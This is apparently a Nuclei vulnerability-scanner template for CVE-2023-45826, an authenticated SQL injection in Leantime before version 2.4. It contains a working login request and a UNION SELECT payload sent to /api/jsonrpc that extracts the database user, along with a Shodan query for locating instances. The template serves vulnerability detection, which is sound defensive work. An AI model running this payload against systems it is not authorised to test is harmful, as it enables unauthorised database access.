id: CVE-2023-45826

info:
  name: Leantime < 2.4 - Authenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    Leantime is an open source project management system. A 'userId' variable in `app/domain/files/repositories/class.files.php` is not parameterized. An authenticated attacker can send a carefully crafted POST request to `/api/jsonrpc` to exploit an SQL injection vulnerability. Confidentiality is impacted as it allows for dumping information from the database. This issue has been addressed in version 2.4-beta-4. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-c39w-3pjx-qc7m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-45826
    cwe-id: CWE-89
    epss-score: 0.00064
    epss-percentile: 0.3037
    cpe: cpe:2.3:a:leantime:leantime:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: leantime
    product: leantime
    shodan-query: title:"Leantime"
  tags: cve,cve2023,leantime,authenticated,sqli

variables:
  username: "{{username}}"
  password: "{{password}}"
  marker: "{{randstr}}"
  hex_marker: "{{hex_encode(marker)}}"

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: keep-alive

        redirectUrl=http%253A%252F%252Fpdt.re%253A8080%252Fdashboard%252Fhome&username={{username}}&password={{password}}&login=Login

    matchers:
      - type: word
        part: body
        words:
          - /dashboard/home

  - raw:
      - |
        POST /api/jsonrpc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method": "leantime.rpc.files.getFilesByModule","jsonrpc": "2.0","id": "1","params": {"userId":"9 union select concat(0x{{hex_marker}},0x3a,user()),2,3,4,5,6,7,8,9,10,11-- -" } }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request was successful'
          - "{{marker}}"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        internal: false
        regex:
          - '"\w+:(.*?)\"'
        group: 1
# digest: 4b0a00483046022100fb5ad2a492c8d84f70e17e70d53a6e827dbbcb2e7972334fa28ac09eee29f5a4022100b132c61b829cf776d0f70f2da07a46600f24f24a4b74f7ea497b52843b59f560:922c64590222798bb761d5b6d8e72950